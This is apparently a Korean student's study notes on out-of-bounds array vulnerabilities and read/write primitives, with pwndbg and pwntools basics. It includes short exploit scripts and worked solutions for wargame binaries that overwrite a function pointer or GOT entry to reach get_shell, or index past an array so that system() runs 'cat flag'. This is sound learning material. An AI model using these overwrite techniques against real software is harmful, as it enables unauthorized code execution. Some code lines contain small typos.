[빡공팟 4기]8주차 과제 Out Of Bound, R/W primitive 공부하기
#1 out of bound
버퍼오버플로우랑 비슷한데, 이건 배열에서 발생하는 거다. 배열이나 범위를 선언하고, index값을 입력받을때 입력값을 검증하지 않아서 정해진 buf 주소의 밖(out of boundary)에 사용자가 값을 입력할 수 있게 된다.
1. 문제풀어보기
1) fgets 함수
함수 원형: char* fgets(char* str, int num, FILE* pFile);
file+get+string을 조합한 이름, 파일에서 string을 가지고 오는 함수.
char* str: 파일에서 갖고 온 문자열을 넣는 변수, 문자열을 가리키는 캐릭터 타입의 포인터
int num: 한번에 갖고 올 문자열의 길이를 넣는 변수
FILE* pFile: 파일의 파일 포인터 집어 넣기
함수의 동작: 문자열 끝의 \n를 기준으로 또는 int num으로 넣은 num에서 -1한 문자열을 기준으로 문자열을 판단해 가지고 온다.
2) oobr

이 코드를 보면 입력한 값*8을 하는 것을 볼 수 있다.

그리고 message와 password의 offset을 확인해보면 딱 8로 나누어 떨어진다.

3) oobw
void (*fptr)(int) = print_something; //fptr:function pointer, 매개변수 선언 int하나인 함수 포인터
char buf[256]; //버퍼
.
.
.
fptr(1);
fgets(stack_buf, sizeof(stack_buf), sistdin); //fgets(문자열 가리키는 포인터, 문자열 길이, 파일 포인터)
idx = atoi(stack_buf);//(받은 문자열을 정수형으로 바꾸기)
fptr(2);
fgets(&buf[idx], sizeof(buf), stdin);
생각이 필요했던 부분..
fptr1에서 index를 입력받고, fptr2에서 버퍼배열의 idx번째를 읽어주는 방식이다.
전체 c코드를 보면 printf로 실행하는 print_something이라는 함수가 존재하므로 print_something대신 get_shell을 가리키게 해주면 익스플로잇할 수 있을 것이다.

disas main하면 fptr이랑 buf의 주소가 뿅하고 나온다.
그래서 둘의 offset을 계산해서 p.sendline('-(buf주소-fptr주소)')이렇게 해준다.
from pwn *import
p=process("./oobw")
get_shell=0x4005eb
p.sendline(p64(get_shell))
p.sendline('-56')
p.interactive()
4)easyoob
인덱스를 벗어나도록 음수값 -1 을 넣어서 my_get_int를 가리키고, 거기에 get_shell 주소를 넣어 익스플로잇한다.
from pwn import *
get_shell = 0x8049050
e = ELF('./easyoob')
p = process('./easyoob')
p.sendline('-1')
p.sendline(str(e.got['printf']))
p.sendline(p64(get_shell))
p.interactive()
+heap영역
지역변수나 전역변수의 경우, 데이터 타입에 따라 변수의 사이즈가 컴파일 시에 결정 된다. 이렇게 컴파일 시에 선언이 되는 변수의 사이즈는 고정값으로 변경하지 못한다. 하지만 힙영역은 컴파일 말고 런타임 시에 변수의 사이즈가 결정된다. malloc() 함수가 호출됨으로서 할당받는 영역을 청크라고 부른다. 32bit에서는 해당 청크가 8byte 단위로 할당이 되고, 64bit에서는 16byte 단위로 할당된다.
#2 pwndbg, pwntool 배운점
1. pwndbg
1) vmmap
매핑된 메모리의 정보를 보여준다.

인자로 주소 전달시 전달한 주소가 어떤 메모리 영역에 위치하는지 색으로 알 수 있다.
세그먼트: 프로세스의 메모리를 용도별로 5가지로 분류한 각각
세그먼트 역할 일반적인 권한 사용 예
코드 세그먼트 | 실행 가능한 코드가 저장된 영역 | 읽기, 실행 | main() 등의 함수 코드 |
데이터 세그먼트 | 초기화된 전역 변수 또는 상수가 위치하는 영역 | 읽기와 쓰기 또는 읽기 전용 | 초기화된 전역 변수, 전역 상수 |
BSS 세그먼트 | 초기화되지 않은 데이터가 위치하는 영역 | 읽기, 쓰기 | 초기화되지 않은 전역 변수 |
스택 세그먼트 | 임시 변수가 저장되는 영역 | 읽기, 쓰기 | 지역 변수, 함수의 인자 등 |
힙 세그먼트 | 실행중에 동적으로 사용되는 영역 | 읽기, 쓰기 | malloc(), calloc() 등으로 할당 받은 메모리 |
+데이터 세그먼트는 두가지로 나뉜다.
(1) 쓰기 가능 세그먼트(data segment)
: 전역변수와 같이 프로그램이 실행되면서 값이 변할 수 있는 데이터들이 위치.
(2) 쓰기 불가능 세그먼트(read-only-data,rodata)
: 전역으로 선언된 상수와 같이 프로그램이 실행되면서 값이 변하면 안되는 데이터들이 위치
2) start
: main함수의 프롤로그까지 프로그램을 실행한다.
3) breakpoint 다루기
d: 모든 breakpoint
delete 3: 3번 breakpoint 삭제
disable2: 2번 breakpoint 비활성화
4) p [함수, 변수]
: 함수,변수의 정보를 출력
5) checksec
: 바이너리에 적용된 보호기법을 보여준다.
2. pwntools
1) ELF함수
: plt,got,symbols 등의 딕셔너리에서 원하는 함수의 offset을 가져올 수 있다.
ex) pwntool 쓸 때
e=ELF('./oob')
.
p.sendline(str(e.got['printf'])) :printf@got
p.sendline(str(e.plt['system'])) :system@plt
2) p64
:64bit 리틀엔디안 방식으로 패킹할 수 있다. 문자열로 입력받기 때문에 정수로 저장하고 싶으면 리틀 엔디안 방식으로 넣어줘야한다.
ex)p64(0x12345678) -> b'\x78\x56\x34\x12'
3) gdb attach(p)
파이썬 코드에서 메모리 상황을 보고 싶은 곳에 raw_input()과 함께 넣고 실행하면 새로운 terminal이 실행되며 실행파일과 파이썬파일이 attach된 상황을 볼 수 있다. raw_input()을 안 넣으면 그냥 쭉 실행되기 때문에 breakpoint를 걸 수 없다.
#4 R/W primitive
1)write primitive
임의의 메모리 주소에 원하는 값을 삽입하기 위한 방법
2)read primitive
임의의 물리 메모리 주소를 읽기 위한 방법이다.
#5 oob 실습
드림핵에서 문제를 받아왔다.
1. 소스코드 보기
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
전역변수 name을 16byte로 선언하고,
cat, ls, id, ps, file ./oob를 담고 있는 포인터 변수 command를 10byte로 선언한 것을 확인할 수 있다.
name을 읽어온다는 것은 16byte의 문자열을 입력한다는 뜻이다.
idx의 메모리 주소를 입력하고 그 idx를 system함수로 실행한다.
name에 cat flag를 넣고 idx를 name 시작주소로 넣어서 실행되게 할 것이다.
2) gdb 분석



admin name에 cat flag를 넣고 command와 cat flag의 offset을 확인한다

offset은 76이다. 그런데 eax*4한 값을 더한 것이므로 eax는 19이다.

그래서 idx에 19를 넣으면 된다.